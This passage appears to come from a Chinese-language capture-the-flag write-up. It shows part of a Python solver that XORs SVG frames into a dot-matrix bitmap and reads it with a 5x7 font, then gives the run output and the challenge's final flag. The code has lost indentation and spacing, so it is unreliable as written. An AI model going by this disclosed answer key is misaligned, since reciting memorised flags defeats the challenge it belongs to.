xs = [p[0] for p in cells]; ys = [p[1] for p in cells]; x0, y0 = min(xs), min(ys)
return ([[\"#\"if (x0 + c * step, y0 + r * step) in cells else\".\"for c in range((max(xs) - x0) // step + 1)] for r in range((max(ys) - y0) // step + 1)], x0, y0)
def hamming(a, b):return sum(1for ra, rb in zip(a, b) for ca, cb in zip(ra, rb) if ca != cb) # 字形距离
def recognize(grid):
\"\"\"按整列为空切分字形,再与字库精确/最近(汉明距离)匹配。\"\"\"
blank = {c for c in range(len(grid[0])) if all(r[c] == \".\"for r in grid)}
segs = [(m.start(), m.end() - 1) for m in re.finditer(r'#+', \"\".join(\".\"if c in blank else\"#\"for c in range(len(grid[0]))))]
# ...(省略:逐字形先精确匹配、失败再取汉明距离最近者)
return\"\".join(min([(hamming(tuple(r[a:b + 1] for r in grid), g), ch) for ch, g in FONT.items() if len(g[0]) == b - a + 1] or [(99, \"?\")])[1] for a, b in segs)
def main():
path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), SVG_FILE)
grid, x0, y0 = render_grid(parity_bitmap(*parse_direct(open(path, encoding=\"utf-8\").read())))
for row in grid: print(\" \" + \"\".join(row)) # 打印还原出的点阵位图
decoded = recognize(grid); flag = decoded.lower() # 字库只有大写,提交用小写
ifnot flag.startswith(\"flag{\"): flag = \"flag{\" + flag.strip(\"{}\") + \"}\"
print(\"[*] decoded (5x7 font): %s\
[+] FLAG : %s\" % (decoded, flag))
if __name__ == \"__main__\":
main()
运行输出
[*] frames : 232
[*] dots/frame stats : {6: 230, 5: 1, 3: 1}
[*] bitmap origin : (90, 405) step 5px
[*] bitmap (166x7):
#####.#......###...####...###.#...#..###..####.........####.#...#..###..####..#####..####.......####..#####.#...#.#####..###..#...........#####.#......###...####.###.
#.....#.....#...#.#.......#....#.#..#...#.#...#.......#.....#...#.#...#.#...#.#.....#...........#...#.#.....#...#.#.....#...#.#...........#.....#.....#...#.#.......#.
####..#.....#...#.#.###...#.....#...#...#.#...#.......#.....#####.#...#.#...#.####..#...........#...#.####..#...#.####..#...#.#...........####..#.....#...#.#.###...#.
#.....#.....#####.#...#..##.....#...#...#.####.........###..#...#.#####.####..#......###........####..#.....#...#.#.....#####.#...........#.....#.....#####.#...#...##
#.....#.....#...#.#...#...#.....#...#...#.#.#.............#.#...#.#...#.#.....#.........#.......#.#...#.....#...#.#.....#...#.#...........#.....#.....#...#.#...#...#.
#.....#.....#...#.#...#...#....#.#..#...#.#..#............#.#...#.#...#.#.....#.........#.......#..#..#......#.#..#.....#...#.#...........#.....#.....#...#.#...#...#.
#.....#####.#...#..###....###.#...#..###..#...#.#####.####..#...#.#...#.#.....#####.####..#####.#...#.#####...#...#####.#...#.#####.#####.#.....#####.#...#..###..###.
[*] decoded (5x7 font): FLAG{XOR_SHAPES_REVEAL_FLAG}
[+] FLAG : flag{xor_shapes_reveal_flag}
最终flag
flag{xor\_shapes\_reveal\_flag}
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论